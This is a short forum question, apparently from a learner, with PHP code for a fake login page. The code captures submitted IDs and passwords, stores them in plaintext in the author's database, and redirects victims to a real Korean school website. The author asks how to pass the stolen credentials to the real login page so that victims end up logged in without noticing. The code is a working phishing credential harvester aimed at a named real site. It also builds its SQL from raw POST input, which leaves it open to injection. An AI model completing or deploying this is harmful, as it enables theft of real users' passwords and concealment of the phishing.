I'm learning php and mysql and i'm making fake login site. -for learning purpose-
<?php
$id = $_POST[mb_id];
$password = $_POST[mb_password];
// Create connection
$conn = mysqli_connect(localhost, u982680175_root, temp, u982680175_test);
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$sql = "INSERT INTO student (id, password)
values ('$id', '$password')";
if (mysqli_query($conn, $sql)) {
header("Location: http://www.dtg.hs.kr/");
exit();
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
mysqli_close($conn);
?>
i sucess saving data in to my server and redirected to realhomepage. but i want to redirect to logined real site after saving database. how can i call real php and give data? this is the real login page: http://www.dtg.hs.kr/sys/bbs/login.php